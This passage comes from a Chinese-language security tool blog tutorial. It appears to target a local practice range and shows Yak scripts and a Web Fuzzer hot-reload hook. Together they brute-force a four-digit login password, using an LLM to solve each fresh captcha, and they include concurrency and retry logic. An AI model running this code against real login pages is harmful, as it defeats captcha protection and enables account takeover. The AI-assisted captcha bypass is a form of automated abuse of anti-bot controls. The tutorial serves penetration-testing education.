style="color:#393A34"><span class="token plain">    for retries = 0; retries &lt; 3; retries++ {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        if found { return }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        rsp, _, err = poc.Get(target + "/verification/safe/op")</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        if err != nil { log.error("get page failed: %v", err); continue }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        cookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        codeRsp, _, err = poc.Get(target + "/verification/safe/code", poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)))</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        if err != nil { log.error("get captcha failed: %v", err); continue }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        imageBase64 = codec.EncodeBase64(codeRsp.GetBody())</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        result, err = ai.FunctionCall(`执行数据标注任务，从图片中提取展示内容文本，放置在结果中`, {"code": "从图片中提取的验证码类似的内容"}, ai.imageBase64(imageBase64))</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        if err != nil { log.error("ai failed: %v", err); continue }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        captchaCode = result["code"]</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        log.info("trying password: %v, captcha: %v", passStr, captchaCode)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        submitRsp, _, err = poc.Post(target + "/verification/safe/op", poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)), poc.replacePostParam("code", captchaCode), poc.replacePostParam("password", passStr))</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        if err != nil { log.error("submit failed: %v", err); continue }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        body = string(submitRsp.GetBody())</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        if body.Contains("verification code not match") {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            log.warn("captcha wrong for password %v, retrying (%d/3)...", passStr, retries+1)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            continue</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        if !body.Contains("密码错误") {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            found = true</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            foundPass = passStr</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            log.info("SUCCESS! password is: %v", passStr)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        return</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">swg = sync.NewSizedWaitGroup(concurrency)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">for i = 0; i &lt; 10000; i++ {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    if found { break }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    passStr = sprintf("%04d", i)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    swg.Add()</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    go func {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        defer swg.Done()</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        tryPassword(passStr)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">swg.Wait()</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">if found {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    log.info("brute force completed, password: %v", foundPass)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">} else {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    log.info("brute force completed, password not found")</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span></code></pre></div></div>
<p>并发版的几个关键设计：</p>
<p><strong><code>1.sync.NewSizedWaitGroup(5)</code></strong> 控制并发数。5 个 worker 同时跑，吞吐量提升到串行版的约 5 倍。可以根据 AI 接口的并发限制灵活调整。</p>
<p><strong>2.每个 goroutine 完全独立</strong>。独立的 session、独立的验证码、独立的 AI 识别——session 之间没有任何状态共享，天然适合并发。</p>
<p><strong>3.验证码识别失败自动重试</strong>。<code>tryPassword</code>内部有最多 3 次重试，避免因为偶尔的 AI 识别失误就跳过某个密码。</p>
<p><strong>4.全局</strong><code>found</code><strong>标志</strong>。任何一个 worker 成功后，其他 worker 会在下一轮循环前检查到 <code>found</code> 标志并退出。</p>
<p>在笔者的测试中，5 个并发 worker 大约每秒可以尝试 2-3 个密码。相比串行版的每 2 秒一个密码，效率提升显著。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/5bc94c4c5d56bcc6-d895f7625bdcad7a48fdc9d888976a5a.png" width="1080" height="410" class="yakdoc-image"></button></p>
<p>四、进阶：热加载方案嵌入Web Fuzzer</p>
<p>脚本方案已经可以工作了，但如果我们想在 Yakit 的 Web Fuzzer 中更灵活地使用呢？</p>
<p>比如说，我们已经在 Web Fuzzer 里构造好了请求数据包，密码字段用了 <code>{{int(0000-9999|4)}}</code> 来枚举，但验证码字段怎么办？总不能手动一个一个填吧。</p>
<p>这时候 Web Fuzzer 的热加载就派上用场了。热加载允许我们编写一段 Yak 代码，在每个请求发出之前对请求内容进行修改。我们只需要定义一个 <code>beforeRequest</code> 函数，Web Fuzzer 在发出每个请求前会自动调用它。</p>
<p>热加载入口的标准签名是：</p>
<div class="language-javascript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-javascript codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">// beforeRequest 允许在每次发送数据包前对请求做最后的处理</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// https     - 请求是否为 https 请求</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// originReq - 原始请求（未经过 Fuzzer 标签渲染）</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// req       - 即将发送的请求（已经过 Fuzzer 标签渲染）</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">beforeRequest </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">https</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> originReq</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/cb323153633e5204-d16a5e7e52b5ad6c9f7077183bb11e50.png" width="1049" height="551" class="yakdoc-image"></button></p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="思路每次请求都换一套-session--验证码">思路：每次请求都换一套 Session + 验证码<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#%E6%80%9D%E8%B7%AF%E6%AF%8F%E6%AC%A1%E8%AF%B7%E6%B1%82%E9%83%BD%E6%8D%A2%E4%B8%80%E5%A5%97-session--%E9%AA%8C%E8%AF%81%E7%A0%81" class="hash-link" aria-label="思路：每次请求都换一套 Session + 验证码的直接链接" title="思路：每次请求都换一套 Session + 验证码的直接链接" translate="no">​</a></h3>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="在前面的脚本实战中我们已经验证安全版验证码每次提交都会作废所以-web-fuzzer-中如果想爆破密码每个请求都必须配一对全新的session-验证码简单复用模板里的-cookie-是行不通的">在前面的脚本实战中我们已经验证：安全版验证码每次提交都会作废，所以 Web Fuzzer 中如果想爆破密码，<strong>每个请求都必须配一对全新的</strong><code>(session, 验证码)</code>**。简单复用模板里的 Cookie 是行不通的。<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#%E5%9C%A8%E5%89%8D%E9%9D%A2%E7%9A%84%E8%84%9A%E6%9C%AC%E5%AE%9E%E6%88%98%E4%B8%AD%E6%88%91%E4%BB%AC%E5%B7%B2%E7%BB%8F%E9%AA%8C%E8%AF%81%E5%AE%89%E5%85%A8%E7%89%88%E9%AA%8C%E8%AF%81%E7%A0%81%E6%AF%8F%E6%AC%A1%E6%8F%90%E4%BA%A4%E9%83%BD%E4%BC%9A%E4%BD%9C%E5%BA%9F%E6%89%80%E4%BB%A5-web-fuzzer-%E4%B8%AD%E5%A6%82%E6%9E%9C%E6%83%B3%E7%88%86%E7%A0%B4%E5%AF%86%E7%A0%81%E6%AF%8F%E4%B8%AA%E8%AF%B7%E6%B1%82%E9%83%BD%E5%BF%85%E9%A1%BB%E9%85%8D%E4%B8%80%E5%AF%B9%E5%85%A8%E6%96%B0%E7%9A%84session-%E9%AA%8C%E8%AF%81%E7%A0%81%E7%AE%80%E5%8D%95%E5%A4%8D%E7%94%A8%E6%A8%A1%E6%9D%BF%E9%87%8C%E7%9A%84-cookie-%E6%98%AF%E8%A1%8C%E4%B8%8D%E9%80%9A%E7%9A%84" class="hash-link" aria-label="在前面的脚本实战中我们已经验证安全版验证码每次提交都会作废所以-web-fuzzer-中如果想爆破密码每个请求都必须配一对全新的session-验证码简单复用模板里的-cookie-是行不通的的直接链接" title="在前面的脚本实战中我们已经验证安全版验证码每次提交都会作废所以-web-fuzzer-中如果想爆破密码每个请求都必须配一对全新的session-验证码简单复用模板里的-cookie-是行不通的的直接链接" translate="no">​</a></h3>
<p>那么 <code>beforeRequest</code> 里要做的事情就清楚了：</p>
<p><strong>1.现场获取一个新的 session</strong>。GET <code>/verification/safe/op</code> 拿到 <code>Set-Cookie: YSESSIONID_SAFE=xxx</code></p>
<p><strong>2.用这个 session 拉验证码图片</strong>。GET <code>/verification/safe/code</code> 携带刚拿到的 Cookie</p>
<p><strong>3.AI</strong>识别验证码4.改写传入的请求**：把请求中的 <code>YSESSIONID_SAFE</code> Cookie 替换为新的，把 POST 参数 <code>code</code> 替换为识别结果</p>
<p>5.返回改写后的请求，密码字段保持 Fuzzer 标签自然枚举</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="web-fuzzer-的请求模板">Web Fuzzer 的请求模板<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#web-fuzzer-%E7%9A%84%E8%AF%B7%E6%B1%82%E6%A8%A1%E6%9D%BF" class="hash-link" aria-label="Web Fuzzer 的请求模板的直接链接" title="Web Fuzzer 的请求模板的直接链接" translate="no">​</a></h3>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="请求模板就是一个最普通的-post-表单提交验证码字段用占位值-temp反正会被热加载覆盖密码字段用-fuzzer-标签-int0000-99994-来枚举cookie-也填一个占位值热加载会替换掉它">请求模板就是一个最普通的 POST 表单提交，验证码字段用占位值 <code>temp</code>（反正会被热加载覆盖），密码字段用 Fuzzer 标签 <code>{{int(0000-9999|4)}}</code> 来枚举。Cookie 也填一个占位值，热加载会替换掉它：<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#%E8%AF%B7%E6%B1%82%E6%A8%A1%E6%9D%BF%E5%B0%B1%E6%98%AF%E4%B8%80%E4%B8%AA%E6%9C%80%E6%99%AE%E9%80%9A%E7%9A%84-post-%E8%A1%A8%E5%8D%95%E6%8F%90%E4%BA%A4%E9%AA%8C%E8%AF%81%E7%A0%81%E5%AD%97%E6%AE%B5%E7%94%A8%E5%8D%A0%E4%BD%8D%E5%80%BC-temp%E5%8F%8D%E6%AD%A3%E4%BC%9A%E8%A2%AB%E7%83%AD%E5%8A%A0%E8%BD%BD%E8%A6%86%E7%9B%96%E5%AF%86%E7%A0%81%E5%AD%97%E6%AE%B5%E7%94%A8-fuzzer-%E6%A0%87%E7%AD%BE-int0000-99994-%E6%9D%A5%E6%9E%9A%E4%B8%BEcookie-%E4%B9%9F%E5%A1%AB%E4%B8%80%E4%B8%AA%E5%8D%A0%E4%BD%8D%E5%80%BC%E7%83%AD%E5%8A%A0%E8%BD%BD%E4%BC%9A%E6%9B%BF%E6%8D%A2%E6%8E%89%E5%AE%83" class="hash-link" aria-label="请求模板就是一个最普通的-post-表单提交验证码字段用占位值-temp反正会被热加载覆盖密码字段用-fuzzer-标签-int0000-99994-来枚举cookie-也填一个占位值热加载会替换掉它的直接链接" title="请求模板就是一个最普通的-post-表单提交验证码字段用占位值-temp反正会被热加载覆盖密码字段用-fuzzer-标签-int0000-99994-来枚举cookie-也填一个占位值热加载会替换掉它的直接链接" translate="no">​</a></h3>
<div class="language-apache codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-apache codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">POST /verification/safe/op HTTP/1.1</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Host: 127.0.0.1:8787</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Content-Type: application/x-www-form-urlencoded</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Cookie: YSESSIONID_SAFE=PLACEHOLDER</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">code=temp&amp;password={{int(0000-9999|4)}}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="完整的热加载代码v1单次识别">完整的热加载代码（v1：单次识别）<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#%E5%AE%8C%E6%95%B4%E7%9A%84%E7%83%AD%E5%8A%A0%E8%BD%BD%E4%BB%A3%E7%A0%81v1%E5%8D%95%E6%AC%A1%E8%AF%86%E5%88%AB" class="hash-link" aria-label="完整的热加载代码（v1：单次识别）的直接链接" title="完整的热加载代码（v1：单次识别）的直接链接" translate="no">​</a></h3>
<p>我们先把上面四步落到代码上。注意，下面这段是<strong>第一版</strong>——只处理"识别一次"的情况，识别错了直接吃下去：</p>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">target </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"http://127.0.0.1:8787"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">cookieName </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"YSESSIONID_SAFE"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">beforeRequest </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">https</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> originReq</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// 1. 获取一个全新的 session</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    rsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">_</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Get</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">target </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"/verification/safe/op"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">error</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"get session failed: %v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    newCookie </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetHTTPPacketCookie</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rsp</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">RawPacket</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cookieName</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// 2. 用这个 session 拉一张验证码图片</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    codeRsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">_</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Get</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        target </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"/verification/safe/code"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">header</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Cookie"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">sprintf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%v=%v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cookieName</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> newCookie</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">error</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"get captcha failed: %v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// 3. AI 识别</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    imageBase64 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">EncodeBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">codeRsp</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    result</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> ai</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">FunctionCall</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token string" style="color:#e3116c">`执行数据标注任务，从图片中提取展示内容文本，放置在结果中`</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">{</span><span class="token string" style="color:#e3116c">"code"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"从图片中提取的验证码类似的内容"</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        ai</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">imageBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">imageBase64</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">error</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"ai recognize captcha failed: %v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    captchaCode </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> result</span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"code"</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">info</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"recognized captcha: %v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> captchaCode</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// 4. 改写请求：替换 Cookie 和 code 字段</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    req </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">ReplaceHTTPPacketCookie</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cookieName</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> newCookie</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    req </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">ReplaceHTTPPacketPostParam</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"code"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> captchaCode</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>四步对应得很整齐：拉session、拉验证码、AI 识别、改写请求。<code>poc.ReplaceHTTPPacketCookie</code> 和 <code>poc.ReplaceHTTPPacketPostParam</code> 这两个函数会自动处理 <code>Content-Length</code> 等细节，我们不用手动维护。</p>
<p>把这段贴到 Web Fuzzer 里跑一下，会看到一个尴尬的现象——</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/75e94a42e679d1d5-f1e004717533a7b0ace64233ddb0eb73.png" width="1080" height="656" class="yakdoc-image"></button></p>
<p>不少请求的响应都是<code>verification code not match</code>。这正是前面Benchmark 章节里 57% 单次识别率的直接体现：每 10个 请求里，大约会有 4 个因为 AI 没认对验证码而被服务端拒掉，密码相当于白试了。</p>
<p>那么我们要怎么处理这种情况？</p>
<p><strong>配合重试：retryHandler</strong></p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="web-fuzzer-的热加载除了-beforerequest还提供了另外两个非常关键的钩子">Web Fuzzer 的热加载除了 <code>beforeRequest</code>，还提供了另外两个非常关键的钩子：<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#web-fuzzer-%E7%9A%84%E7%83%AD%E5%8A%A0%E8%BD%BD%E9%99%A4%E4%BA%86-beforerequest%E8%BF%98%E6%8F%90%E4%BE%9B%E4%BA%86%E5%8F%A6%E5%A4%96%E4%B8%A4%E4%B8%AA%E9%9D%9E%E5%B8%B8%E5%85%B3%E9%94%AE%E7%9A%84%E9%92%A9%E5%AD%90" class="hash-link" aria-label="web-fuzzer-的热加载除了-beforerequest还提供了另外两个非常关键的钩子的直接链接" title="web-fuzzer-的热加载除了-beforerequest还提供了另外两个非常关键的钩子的直接链接" translate="no">​</a></h3>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/f6b2c5a0e7702ac7-e6668e78e05b46069af71e66421c1288.png" width="1080" height="112" class="yakdoc-image"></button></p>
<p>这个钩子刚好就是为我们这个场景准备的。思路立刻就出来了：</p>
